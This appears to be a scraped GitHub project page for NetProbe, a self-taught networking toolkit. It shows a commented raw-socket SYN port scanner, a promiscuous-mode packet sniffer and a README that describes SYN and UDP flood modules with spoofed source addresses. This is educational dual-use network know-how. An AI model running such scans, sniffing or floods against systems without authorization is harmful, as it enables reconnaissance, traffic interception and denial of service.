append to the list at the exact same moment. # Internally, append() is not atomic — it involves multiple CPU # instructions. If two threads interleave those instructions, # the list can get corrupted — items lost or duplicated. # # A lock (mutex) prevents this by allowing only ONE thread to # execute the protected block at a time. Other threads wait. # # Usage: # with lock: # open_ports.append(port) # only one thread here at a time lock = threading.Lock() # ───────────────────────────────────────────────────────────── # CORE SCAN FUNCTION # ───────────────────────────────────────────────────────────── def scan_port(target_ip: str, port: int, src_ip: str, send_sock: socket.socket, recv_sock: socket.socket) -> None: """ Scan a single TCP port on the target machine. This function runs in its own thread — 100 copies of this function run simultaneously, each scanning a different port. THE SEND SIDE: -------------- We build a complete IP + TCP packet from scratch using the classes we built in core/. The packet has: - IP header: src/dst IP, protocol=TCP, TTL=64 - TCP header: random src port, target dst port, SYN flag set WHY RANDOM SOURCE PORT? ----------------------- Each scan_port call uses a different random source port (50000-65535). This serves two purposes: 1. Avoids conflicts with the OS's own connections 2. Helps match responses back to the correct thread (the response's dst_port = our random src_port) THE RECEIVE SIDE: ----------------- recv_sock is shared across all 100 threads. When a response arrives, any thread might grab it. We filter by checking if the response's SOURCE PORT matches the port we scanned. If it doesn't match, we loop and wait for the next packet. The timeout ensures we don't wait forever. BYTE POSITIONS IN RESPONSE (AF_INET — no Ethernet header): ----------------------------------------------------------- Bytes 0-19: IP header Bytes 20-39: TCP header Bytes 20-21: source port ← which port replied Bytes 22-23: dest port ← our random source port Bytes 32-33: offset+flags ← contains SYN, ACK, RST bits Args: target_ip : IP address of the machine being scanned port : Port number to scan (1-1024) src_ip : Our own IP address (for IP header source field) send_sock : Raw socket for sending crafted packets recv_sock : Raw socket for capturing responses """ # ── Build TCP header first ──────────────────────────────── # TCP must be built before IP because IP's build() needs # to know the payload length (= TCP header size = 20 bytes) # # src_port: random high port to avoid OS conflicts # dst_port: the port we're probing # flags: SYN only — we're initiating, not completing tcp_obj = TCPHeader( src_port=random.randint(50000, 65535), dst_port=port # flags defaults to TCPFlags.SYN — defined in TCPHeader.__init__ ) tcp_header = tcp_obj.build(src_ip, target_ip) # ── Build IP header second ──────────────────────────────── # Now we know tcp_header is 20 bytes, so payload_length=20 # protocol defaults to PROTO_TCP (6) in IPHeader.__init__ ip_obj = IPHeader(src_ip, target_ip) ip_header = ip_obj.build(payload_length=len(tcp_header)) # ── Combine into complete raw packet ────────────────────── # This is the complete packet that goes on the wire: # [IP header 20 bytes][TCP header 20 bytes] = 40 bytes total syn_packet = ip_header + tcp_header # ── Send the packet ─────────────────────────────────────── # sendto() requires a destination tuple (ip, port). # The port here is 0 — for raw sockets the destination port # is embedded in the packet itself (TCP header), not here. send_sock.sendto(syn_packet, (target_ip, 0)) # ── Wait for and process response ───────────────────────── try: while True: # Block here until a packet arrives or timeout fires. # recv_sock.settimeout(2) is set in main() — # if no packet arrives in 2 seconds, raises socket.timeout response, addr = recv_sock.recvfrom(65535) # RESPONSE FILTERING: # This recv_sock is shared by all 100 threads. # The response we just grabbed might be for port 443 # while we're scanning port 80. # We check: does the response's source port match # the port we're currently scanning? # # response[20:22] = first 2 bytes of TCP header = source port # struct.unpack("!H", ...) converts 2 bytes to integer # [0] extracts the single value from the returned tuple resp_src_port = struct.unpack("!H", response[20:22])[0] if resp_src_port != port: continue # not our response — loop and grab next packet # ── This response is ours — check the flags ─────── # response[32:34] = bytes 12-13 of TCP header (offset from TCP start) # These 2 bytes contain: data_offset(4) + reserved(6) + flags(6) # & 0x3F masks out everything except the bottom 6 flag bits # # 0x3F = 0011 1111 — keeps only the 6 flag bits offset_flags = struct.unpack("!H", response[32:34])[0] flags = offset_flags & 0x3F if flags == 0x12: # 0x12 = 0001 0010 = SYN(0x02) | ACK(0x10) # Port is OPEN — someone is listening and responded # with lock ensures only one thread appends at a time with lock: open_ports.append(port) elif flags == 0x04: # 0x04 = 0000 0100 = RST # Port is CLOSED — machine responded but nothing listening # We don't store closed ports — just move on pass # Got our response (open or closed) — exit the while loop break except socket.timeout: # No response within 2 seconds. # Port is FILTERED — firewall silently dropped our SYN. # We can't tell if the port is open or closed. # We don't store filtered ports — just move on silently. pass # ───────────────────────────────────────────────────────────── # MAIN FUNCTION # ───────────────────────────────────────────────────────────── def main() -> None: """ Entry point. Sets up sockets, launches threads, prints results. TWO SOCKETS — WHY? ------------------ send_sock (AF_INET, IPPROTO_RAW): For sending crafted packets. IPPROTO_RAW tells the OS "I'm providing a complete IP header, send these bytes as-is." AF_INET means we work at the IP layer. recv_sock (AF_INET, IPPROTO_TCP): For capturing TCP responses. AF_INET means responses start at the IP header (no Ethernet header — simpler byte positions). IPPROTO_TCP means only capture TCP packets — filters out UDP, ICMP, and other noise automatically. We need two separate sockets because: send_sock needs IPPROTO_RAW to send with custom headers recv_sock needs IPPROTO_TCP to filter only TCP responses You can't do both with one socket. THREADPOOLEXECUTOR: ------------------- Instead of creating 1024 individual threads (which would overwhelm the network), ThreadPoolExecutor maintains a pool of exactly max_workers=100 threads. executor.submit(scan_port, arg1, arg2, ...) adds a job to the queue. When a thread is free it picks up the next job. The 'with' block waits for ALL jobs to complete before continuing to the print statement. WHY src_ip IS FETCHED ONCE HERE: --------------------------------- socket.gethostbyname(socket.gethostname()) makes a system call to resolve your hostname to an IP. Calling this 1024 times inside scan_port would be wasteful — it's the same answer every time. Fetch it once, pass it to every thread. """ # Hardcoded for now — later we'll add argparse like the sniffer src_ip = '192.168.192.145' target_ip = '192.168.192.20' print(f"[*] Starting SYN scan on {target_ip}") print(f"[*] Scanning ports 1-1024") print(f"[*] Source IP: {src_ip}\n") # ── Create sending socket ───────────────────────────────── # AF_INET = IP layer (we handle IP header ourselves) # SOCK_RAW = raw socket, no kernel header processing # IPPROTO_RAW = we provide complete IP header in each packet send_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # Tell the OS we're including our own IP header. # Without this, the OS might add another IP header on top of ours. # IP_HDRINCL = "IP Header Included" — we built it ourselves send_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # ── Create receiving socket ─────────────────────────────── # AF_INET = IP layer (response starts at IP header, no Ethernet) # SOCK_RAW = raw socket, gives us complete packets # IPPROTO_TCP = only capture TCP responses, filter out everything else recv_sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) # Set timeout — if no response in 2 seconds, port is filtered. # Without this, threads waiting on closed/filtered ports would # block forever and the scan would never complete. recv_sock.settimeout(2) # ── Launch threads ──────────────────────────────────────── # max_workers=100 means at most 100 ports scanned simultaneously. # The 'with' block automatically waits for all jobs to finish # before moving to the results printing below. with ThreadPoolExecutor(max_workers=100) as executor: for i in range(1, 1025): # Submit one scan_port job per port. # executor manages which thread runs which job. executor.submit(scan_port, target_ip, i, src_ip, send_sock, recv_sock) # ── Print results ───────────────────────────────────────── # We reach here only after ALL 1024 ports have been scanned. # sorted() ensures ports print in numerical order regardless # of which thread finished first. print("\n[*] Scan complete") if open_ports: print(f"[*] Found {len(open_ports)} open port(s):\n") for port in sorted(open_ports): print(f" Port {port}/tcp open") else: print("[*] No open ports found (target may be down or all ports filtered)") # Clean up — close both sockets properly send_sock.close() recv_sock.close() # ───────────────────────────────────────────────────────────── # ENTRY POINT # ───────────────────────────────────────────────────────────── if __name__ == '__main__': main() |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 | """ tools/sniffer.py — Raw Packet Sniffer ====================================== WHAT THIS FILE DOES: Captures every packet passing through a network interface and decodes it into human readable fields — exactly like Wireshark, but built from scratch. HOW IT WORKS AT A HIGH LEVEL: 1. Create a raw socket at the Ethernet layer 2. Put the network card in promiscuous mode (capture ALL traffic) 3. Loop forever receiving raw bytes 4. Parse those bytes using everything we know about IP/TCP/UDP headers 5. Print the results in a readable format 6. Stop cleanly when user presses Ctrl+C WHY ROOT IS REQUIRED: Raw sockets and promiscuous mode give you access to ALL network traffic — including packets not addressed to you. This is a powerful and potentially dangerous capability so the OS restricts it to root only. Run with: sudo python3 sniffer.py """ import argparse import socket import struct # ───────────────────────────────────────────────────────────── # SOCKET CREATION # ───────────────────────────────────────────────────────────── def create_socket(interface: str) -> socket.socket: """ Creates a raw socket and binds it to a network interface. WHAT IS AF_PACKET? ------------------ Remember AF_INET operates at the IP layer — the Ethernet header is already stripped before you see the packet. AF_PACKET operates one layer lower — at the Ethernet layer. You see the COMPLETE raw frame including: - Ethernet header (14 bytes): src MAC, dst MAC, ethertype - IP header (20 bytes) - TCP/UDP header (20/8 bytes) - Data This is what Wireshark uses. It gives us the most complete view of what's actually on the wire. WHAT IS SOCK_RAW? ----------------- Tells the OS: don't process this packet, give it to me raw. No stripping headers, no checksums, no port routing. Just raw bytes exactly as they arrived. WHAT IS ntohs(0x0003)? ---------------------- The third argument is the Ethernet protocol filter. 0x0003 is a special value meaning "capture ALL protocols" — IPv4, IPv6, ARP, everything. ntohs = Network To Host Short Converts the 2-byte value from network byte order (big-endian) to your CPU's byte order (little-endian on most systems). We do this because we're passing the value directly to the socket constructor without going through struct.pack. PROMISCUOUS MODE: ----------------- By default your network card silently discards packets not addressed to your MAC address. You never see them. Promiscuous mode turns off that filter. Your card now accepts and passes up EVERY packet it sees on the network segment — traffic between other machines, broadcast traffic, everything. We enable it by setting a socket option: socket.SOL_SOCKET = socket options level (general socket options) socket.SO_PROMISC = the specific option to toggle promisc mode 1 = enable (0 would disable) Args: interface: Network interface name e.g. "eth0", "wlan0" Returns: Configured raw socket ready to capture packets """ # Create the raw socket at Ethernet layer # AF_PACKET = Ethernet layer (lower than AF_INET which is IP layer) # SOCK_RAW = give us complete raw packets # ntohs(0x0003) = capture all protocol types sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003) ) # Bind to the specific network interface # The second argument 0 means "any protocol" — consistent with 0x0003 above # Without binding, we'd capture from all interfaces at once sock.bind((interface, 0)) print(f"[*] Sniffer started on interface: {interface}") print(f"[*] Press Ctrl+C to stop\n") return sock # ───────────────────────────────────────────────────────────── # ETHERNET HEADER PARSING # ───────────────────────────────────────────────────────────── def parse_ethernet_header(raw_frame: bytes) -> tuple: """ Parse the Ethernet header — the outermost layer of a raw frame. ETHERNET HEADER STRUCTURE (14 bytes): ---------------------------------------- | Destination MAC (6 bytes) | | Source MAC (6 bytes) | | EtherType (2 bytes) | ---------------------------------------- WHAT IS A MAC ADDRESS? ---------------------- While IP addresses identify machines logically (and can change), MAC addresses identify network hardware physically. Every network card in the world has a unique MAC address burned in at manufacture. Format: 6 bytes written as aa:bb:cc:dd:ee:ff WHAT IS ETHERTYPE? ------------------ Tells us what protocol is inside the Ethernet frame: 0x0800 = IPv4 0x0806 = ARP (Address Resolution Protocol) 0x86DD = IPv6 We only process 0x0800 (IPv4) in this sniffer. STRUCT FORMAT "!6s6sH": ----------------------- ! = big endian (network byte order) 6s = 6-byte string (destination MAC) 6s = 6-byte string (source MAC) H = unsigned short 2 bytes (EtherType) Args: raw_frame: Complete raw Ethernet frame bytes Returns: Tuple of (dst_mac, src_mac, ethertype, ip_payload) ip_payload = everything after the 14-byte Ethernet header """ # Unpack the first 14 bytes as the Ethernet header # [0:14] = first 14 bytes dst_mac, src_mac, ethertype = struct.unpack("!6s6sH", raw_frame[0:14]) # Convert the 6 raw MAC bytes to readable "aa:bb:cc:dd:ee:ff" format # bytes_to_mac() is defined below dst_mac_str = bytes_to_mac(dst_mac) src_mac_str = bytes_to_mac(src_mac) # Everything after the 14-byte Ethernet header is the payload # For IPv4 packets this will be the IP header + TCP/UDP + data ip_payload = raw_frame[14:] return dst_mac_str, src_mac_str, ethertype, ip_payload def bytes_to_mac(mac_bytes: bytes) -> str: """ Convert 6 raw bytes into human readable MAC address string. Example: b'\\xaa\\xbb\\xcc\\xdd\\xee\\xff' → "aa:bb:cc:dd:ee:ff" HOW IT WORKS: ------------- mac_bytes is a 6-byte sequence. We iterate over each byte, format it as a 2-digit hex string with :02x 02 = pad with zeros to at least 2 digits x = hexadecimal format Then join all 6 with colons. Args: mac_bytes: 6 bytes representing a MAC address Returns: Human readable MAC string e.g. "aa:bb:cc:dd:ee:ff" """ # f"{b:02x}" formats each byte as 2-digit hex # ":".join() puts colons between them return ":".join(f"{b:02x}" for b in mac_bytes) # ───────────────────────────────────────────────────────────── # IP HEADER PARSING # ───────────────────────────────────────────────────────────── def parse_ip_header(ip_payload: bytes) -> tuple: """ Parse the IPv4 header from raw bytes. You built this header from scratch in ip_header.py. Now we're doing the exact reverse — taking raw bytes and extracting each field back out using struct.unpack. STRUCT FORMAT "!BBHHHBBH4s4s": -------------------------------- This is the EXACT same format string from ip_header.py but used with unpack instead of pack. pack → Python values → raw bytes (sending) unpack → raw bytes → Python values (receiving/parsing) IP HEADER BYTE MAP (reminder): -------------------------------- Byte 0: version(4bits) + IHL(4bits) Byte 1: TOS Bytes 2-3: Total Length Bytes 4-5: Identification Bytes 6-7: Flags + Fragment Offset Byte 8: TTL Byte 9: Protocol Bytes 10-11: Checksum Bytes 12-15: Source IP Bytes 16-19: Destination IP Args: ip_payload: Raw bytes starting at the IP header Returns: Dictionary containing all parsed IP header fields """ # Unpack exactly 20 bytes (minimum IP header size) # We use [0:20] to take only the header, not the payload after it (ver_ihl, tos, total_length, identification, flags_frag, ttl, protocol, checksum, src_ip_raw, dst_ip_raw) = struct.unpack("!BBHHHBBH4s4s", ip_payload[0:20]) # Remember version and IHL are packed into one byte # version is in the HIGH nibble (top 4 bits) → shift right by 4 # ihl is in the LOW nibble (bottom 4 bits) → AND with 0x0F to mask top bits version = ver_ihl >> 4 ihl = ver_ihl & 0x0F # IHL is in 4-byte words. Multiply by 4 to get actual byte count. # Standard header = IHL 5 = 20 bytes # If IHL > 5, there are IP options present (rare but possible) header_length = ihl * 4 # flags are in top 3 bits of the 16-bit flags_frag field # frag_offset is in the bottom 13 bits flags = flags_frag >> 13 frag_offset = flags_frag & 0x1FFF # Convert 4 raw bytes to dotted decimal IP string # inet_ntoa is the opposite of inet_aton # b'\xc0\xa8\x01\x01' → "192.168.1.1" src_ip = socket.inet_ntoa(src_ip_raw) dst_ip = socket.inet_ntoa(dst_ip_raw) return { "version": version, "header_length": header_length, # in bytes "tos": tos, "total_length": total_length, "identification": identification, "flags": flags, "frag_offset": frag_offset, "ttl": ttl, "protocol": protocol, "checksum": checksum, "src_ip": src_ip, "dst_ip": dst_ip, "header_length_raw": header_length, # needed to find where TCP/UDP starts } # ───────────────────────────────────────────────────────────── # TCP HEADER PARSING # ───────────────────────────────────────────────────────────── def parse_tcp_header(ip_payload: bytes, ip_header_length: int) -> dict: """ Parse the TCP header from raw bytes. WHERE DOES TCP START? --------------------- The TCP header starts immediately after the IP header. ip_header_length tells us how many bytes the IP header was. Standard = 20 bytes. With options = more. So TCP starts at: ip_payload[ip_header_length] TCP HEADER BYTE MAP (reminder): ------------------------------- Bytes 0-1: Source Port Bytes 2-3: Destination Port Bytes 4-7: Sequence Number (32-bit) Bytes 8-11: Acknowledgment Number (32-bit) Bytes 12-13: Data Offset + Reserved + Flags Bytes 14-15: Window Size Bytes 16-17: Checksum Bytes 18-19: Urgent Pointer STRUCT FORMAT "!HHIIHHHH": ------------------------------- ! = big endian H = unsigned short 2 bytes (ports, offset+flags, window, checksum, urgent) I = unsigned int 4 bytes (sequence number, ack number) Args: ip_payload: Raw bytes starting at IP header ip_header_length: How many bytes the IP header was (usually 20) Returns: Dictionary containing all parsed TCP header fields """ # TCP starts right after the IP header tcp_start = ip_header_length tcp_raw = ip_payload[tcp_start:tcp_start + 20] (src_port, dst_port, seq, ack_seq, offset_flags, window, checksum, urgent_ptr) = struct.unpack("!HHIIHHHH", tcp_raw) # Data offset is in the top 4 bits of the 16-bit offset_flags field # Shift right by 12 to move those 4 bits to the bottom data_offset = (offset_flags >> 12) * 4 # multiply by 4 = bytes # Flags are in the bottom 6 bits # AND with 0x3F (0b00111111) to keep only those 6 bits flags_raw = offset_flags & 0x3F # Decode individual flags by checking each bit # We AND with each flag's bit position to see if it's set flags = { "FIN": bool(flags_raw & 0x01), # bit 0 "SYN": bool(flags_raw & 0x02), # bit 1 "RST": bool(flags_raw & 0x04), # bit 2 "PSH": bool(flags_raw & 0x08), # bit 3 "ACK": bool(flags_raw & 0x10), # bit 4 "URG": bool(flags_raw & 0x20), # bit 5 } # Build a readable flag string like "SYN" or "SYN|ACK" # Only include flags that are set (True) flag_str = "|".join(name for name, val in flags.items() if val) or "NONE" return { "src_port": src_port, "dst_port": dst_port, "seq": seq, "ack_seq": ack_seq, "data_offset": data_offset, "flags": flags, "flag_str": flag_str, "window": window, "checksum": checksum, "urgent_ptr": urgent_ptr, } # ───────────────────────────────────────────────────────────── # UDP HEADER PARSING # ───────────────────────────────────────────────────────────── def parse_udp_header(ip_payload: bytes, ip_header_length: int) -> dict: """ Parse the UDP header from raw bytes. Much simpler than TCP — only 4 fields, 8 bytes total. UDP HEADER BYTE MAP: -------------------- Bytes 0-1: Source Port Bytes 2-3: Destination Port Bytes 4-5: Length (header + data) Bytes 6-7: Checksum STRUCT FORMAT "!HHHH": ---------------------- Four 2-byte unsigned shorts. That's it. Args: ip_payload: Raw bytes starting at IP header ip_header_length: How many bytes the IP header was (usually 20) Returns: Dictionary containing all parsed UDP header fields """ # UDP starts right after the IP header, same as TCP udp_start = ip_header_length udp_raw = ip_payload[udp_start:udp_start + 8] src_port, dst_port, length, checksum = struct.unpack("!HHHH", udp_raw) return { "src_port": src_port, "dst_port": dst_port, "length": length, "checksum": checksum, } # ───────────────────────────────────────────────────────────── # DISPLAY FUNCTIONS # ───────────────────────────────────────────────────────────── def display_packet(eth: dict, ip: dict, transport: dict, proto_name: str) -> None: """ Print a clean, readable summary of a captured packet. We display the most useful fields for network analysis: - Protocol type - Source and destination with ports - Key IP fields (TTL tells us about the OS, flags tell us about fragmentation) - TCP specific fields if applicable (flags, sequence numbers, window) """ print(f"{'─' * 60}") print(f" Protocol : {proto_name}") print(f" Ethernet : {eth['src_mac']} → {eth['dst_mac']}") print(f" IP : {ip['src_ip']}:{transport['src_port']} " f"→ {ip['dst_ip']}:{transport['dst_port']}") print(f" TTL : {ip['ttl']} | " f"Length: {ip['total_length']} bytes | " f"Checksum: {ip['checksum']:#06x}") # TCP has extra fields worth showing if proto_name == "TCP": print(f" Flags : {transport['flag_str']}") print(f" Seq : {transport['seq']} | " f"Ack: {transport['ack_seq']}") print(f" Window : {transport['window']} bytes") # UDP just shows the datagram length elif proto_name == "UDP": print(f" UDP Len : {transport['length']} bytes") # ───────────────────────────────────────────────────────────── # CLI FILTERING # ───────────────────────────────────────────────────────────── def matches_filter(ip: dict, transport: dict, args) -> bool: # If port filter set — check both src and dst port if args.port is not None: if transport["src_port"] != args.port and \ transport["dst_port"] != args.port: return False # If IP filter set — check both src and dst IP if args.ip is not None: if ip["src_ip"] != args.ip and \ ip["dst_ip"] != args.ip: return False # If protocol filter set if args.protocol is not None: if args.protocol.upper() == "TCP" and ip["protocol"] != 6: return False if args.protocol.upper() == "UDP" and ip["protocol"] != 17: return False return True # passed all filters # ───────────────────────────────────────────────────────────── # MAIN SNIFFER LOOP # ───────────────────────────────────────────────────────────── def start_sniffing(interface: str = "eth0", args=None) -> None: """ Main capture loop. Creates the socket and processes packets forever. THE CAPTURE LOOP: ----------------- sock.recvfrom(65535) blocks — it pauses here and waits until a packet arrives. 65535 is the maximum IP packet size so we never truncate a packet. When a packet arrives: 1. recvfrom returns (raw_bytes, address_info) 2. We parse the Ethernet header first 3. Check EtherType — only process IPv4 (0x0800) 4. Parse IP header 5. Check protocol field (byte 9) — TCP=6 or UDP=17 6. Parse the appropriate transport header 7. Display the results 8. Go back to waiting PACKET COUNTER: --------------- We keep a simple counter to show how many packets were captured. Printed when the user stops the sniffer with Ctrl+C. KEYBOARDINTERRUPT: ------------------ When you press Ctrl+C, Python raises a KeyboardInterrupt exception. Without the try/except, this would crash the program with an ugly traceback and leave the socket open. We catch it, print a summary, close the socket cleanly, and exit. Args: interface: Network interface to listen on (default "eth0") Change to "wlan0" for wireless """ sock = create_socket(interface) packet_count = 0 try: while True: # Block here until a packet arrives # raw_frame = complete Ethernet frame as bytes # addr = (interface_name, protocol, ...) — we don't use this raw_frame, addr = sock.recvfrom(65535) # ── Step 1: Parse Ethernet header ────────────────────── dst_mac, src_mac, ethertype, ip_payload = parse_ethernet_header(raw_frame) eth_info = {"src_mac": src_mac, "dst_mac": dst_mac} # Only process IPv4 packets (EtherType 0x0800) # Ignore ARP (0x0806), IPv6 (0x86DD), etc. if ethertype != 0x0800: continue # skip this packet, go back to waiting # ── Step 2: Parse IP header ───────────────────────────── ip_info = parse_ip_header(ip_payload) protocol = ip_info["protocol"] ip_header_len = ip_info["header_length"] # ── Step 3: Parse transport layer ────────────────────── # Protocol 6 = TCP, Protocol 17 = UDP # Anything else (ICMP etc.) we skip for now if protocol == 6: transport_info = parse_tcp_header(ip_payload, ip_header_len) proto_name = "TCP" elif protocol == 17: transport_info = parse_udp_header(ip_payload, ip_header_len) proto_name = "UDP" else: # ICMP, IGMP, and others — not handled yet continue if args is not None and not matches_filter(ip_info, transport_info, args): continue # ── Step 4: Display results ───────────────────────────── packet_count += 1 display_packet(eth_info, ip_info, transport_info, proto_name) except KeyboardInterrupt: # User pressed Ctrl+C — clean up and exit gracefully print(f"\n\n[*] Sniffer stopped.") print(f"[*] Total packets captured: {packet_count}") sock.close() # ───────────────────────────────────────────────────────────── # ENTRY POINT # ───────────────────────────────────────────────────────────── if __name__ == "__main__": """ WHAT IS if __name__ == "__main__"? ------------------------------------ Every Python file has a built-in variable called __name__. When you RUN a file directly: python3 sniffer.py → __name__ is set to "__main__" → this block executes When you IMPORT a file from another file: import sniffer → __name__ is set to "sniffer" (the module name) → this block does NOT execute This lets the same file work both as a standalone script AND as a module that other files can import safely without accidentally starting the sniffer on import. CHANGE "eth0" TO YOUR INTERFACE: --------------------------------- Run 'ip link show' or 'ifconfig' in your terminal to see your available interfaces. Common ones: eth0 = wired ethernet wlan0 = wireless lo = loopback (127.0.0.1, local only) """ parser = argparse.ArgumentParser(description="NetProbe Sniffer") parser.add_argument("--interface", default="eth0") parser.add_argument("--port", type=int) parser.add_argument("--ip") parser.add_argument("--protocol") args = parser.parse_args() start_sniffing(interface=args.interface, args=args) |
NetProbe 🔬
A low-level network analysis and attack simulation toolkit built from scratch in Python.
Implements IPv4, TCP, and UDP protocol headers manually using raw sockets and Python's struct module — no Scapy, no high-level abstractions. Every byte, every checksum, every flag is built and understood from first principles.
Why I Built This
I tried learning TCP/UDP/IP from several sources before starting this — YouTube videos, documentation, forums, AI tools for quick questions. Every resource explained the same surface-level differences: TCP is reliable, UDP is fast, use TCP when you can't miss data. I thought I understood it. I felt confident.
Then I opened Wireshark, searched google.com, and expected to see TCP everywhere. Instead I saw mostly UDP — and a wall of hexadecimal I couldn't make sense of. That moment broke my confidence completely. I realized I knew about TCP and UDP but had no idea what was actually happening on the wire.
That's what started this project. I wanted to go all the way down — not just read about headers but actually build them byte by byte, understand why each field exists, and see the results live in captured traffic.
One thing that helped more than I expected: my college background in binary arithmetic, logic gates, and number systems. Understanding one's complement, bitwise AND, bit shifting — not just "convert this hex to binary using Google" but actually knowing how the calculation works — made the checksum algorithm and flag manipulation click in ways they wouldn't have otherwise.
I already had years of Python experience but socket and struct were completely new to me. I learned them entirely through this project. The whole thing took about two weeks, averaging 1.5-2 hours a day — roughly 20-30 hours of focused work on concepts I thought I already knew.
Now when I run nmap -sS or ping or look at Wireshark output, my brain works differently. I know what's happening behind each flag, each TTL value, each handshake. I can choose the right tool and the right options because I understand what they actually do — not just that they work.
What It Does
| Tool | Description |
|---|---|
sniffer.py |
Captures and parses live network traffic at the Ethernet layer |
port_scanner.py |
TCP SYN (half-open) port scanner with threading |
handshake_monitor.py |
Detects TCP three-way handshakes in real time |
packet_crafter.py |
Interactive tool to craft and send custom TCP/UDP packets |
syn_flood.py |
TCP SYN flood simulation (authorized testing only) |
udp_flood.py |
UDP flood simulation (authorized testing only) |
Requirements
- Python 3.8+
- Linux (raw sockets require Linux or macOS)
- Root privileges (
sudo) — required for all tools - No external dependencies — built entirely from Python stdlib
Installation
git clone https://github.com/id-sidhu/netprobe.git
cd netprobe
That's it. No pip install, no virtualenv. Pure stdlib.
Usage
Packet Sniffer
Captures all TCP and UDP traffic on an interface.
sudo python3 tools/sniffer.py
With filters:
sudo python3 tools/sniffer.py --port 53 # DNS traffic only
sudo python3 tools/sniffer.py --ip 142.251.45.131 # specific IP only
sudo python3 tools/sniffer.py --protocol TCP # TCP only
sudo python3 tools/sniffer.py --interface wlan0 # wireless interface
Example output:
────────────────────────────────────────────────────────────
Protocol : TCP
Ethernet : aa:bb:cc:dd:ee:ff → 11:22:33:44:55:66
IP : 192.168.1.100:54321 → 142.251.45.131:443
TTL : 64 | Length: 40 bytes | Checksum: 0x9307
Flags : SYN
Seq : 2847293847 | Ack: 0
Window : 65535 bytes
Port Scanner
TCP SYN scan of ports 1-1024 on a target machine.
sudo python3 tools/port_scanner.py
Example output:
[*] Starting SYN scan on 192.168.1.1
[*] Scanning ports 1-1024
[*] Scan complete
[*] Found 3 open port(s):
Port 22/tcp open
Port 80/tcp open
Port 443/tcp open
Handshake Monitor
Watches live traffic and prints every new TCP connection as it's established.
sudo python3 tools/handshake_monitor.py
Example output:
[*] Sniffer started on interface: eth0
[*] Press Ctrl+C to stop
[+] HANDSHAKE COMPLETE
192.168.1.100:54321 → 142.251.45.131:443
Time: 14:23:07
Packet Crafter
Interactive tool for crafting custom packets with full field control.
sudo python3 tools/packet_crafter.py
==================================================
NetProbe Packet Crafter
==================================================
Source IP [default: your IP]:
Destination IP: 192.168.1.1
Protocol [TCP/UDP, default: TCP]:
TTL [default: 64]:
Source port [default: random]:
Destination port [default: 80]:
Flags [default: SYN]: RST
[*] Sending packet...
192.168.1.100:61234 → 192.168.1.1:80
Flags: RST TTL: 64 Seq: 3421987234
[*] Packet sent (40 bytes)
[+] Response received!
192.168.1.1:80 → 192.168.1.100:61234
Flags: ACK TTL: 64
Attack Modules
⚠️ For authorized testing only. Only use against machines you own or have explicit written permission to test. Unauthorized use is illegal.
sudo python3 attacks/syn_flood.py
sudo python3 attacks/udp_flood.py
Both take a target IP and port interactively and print a packet counter every 1000 packets.
Project Structure
netprobe/
├── core/
│ ├── ip_header.py # IPv4 header — manual struct packing, RFC 791
│ ├── tcp_header.py # TCP header — pseudo-header checksum, RFC 793
│ └── udp_header.py # UDP header — datagram construction, RFC 768
├── tools/
│ ├── sniffer.py # AF_PACKET raw socket, promiscuous mode
│ ├── port_scanner.py # Half-open SYN scan, ThreadPoolExecutor
│ ├── handshake_monitor.py # State machine, 4-tuple connection tracking
│ └── packet_crafter.py # Interactive packet builder, spoofing support
├── attacks/
│ ├── syn_flood.py # Randomized source IP, 500 threads
│ └── udp_flood.py # UDP datagram flood, randomized source IP
└── docs/
└── protocol_notes.md # Detailed writeup of every concept implemented
How It's Built
Everything in core/ is hand-rolled from RFC specifications:
IP Header construction:
# version and IHL packed into one byte using bit shifting
ver_ihl = (self.version << 4) | self.ihl
# RFC 1071 one's complement checksum
def _calculate_checksum(self, data):
s = 0
for i in range(0, len(data), 2):
word = (data[i] << 8) + data[i + 1]
s += word
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return ~s & 0xFFFF
TCP pseudo-header for checksum:
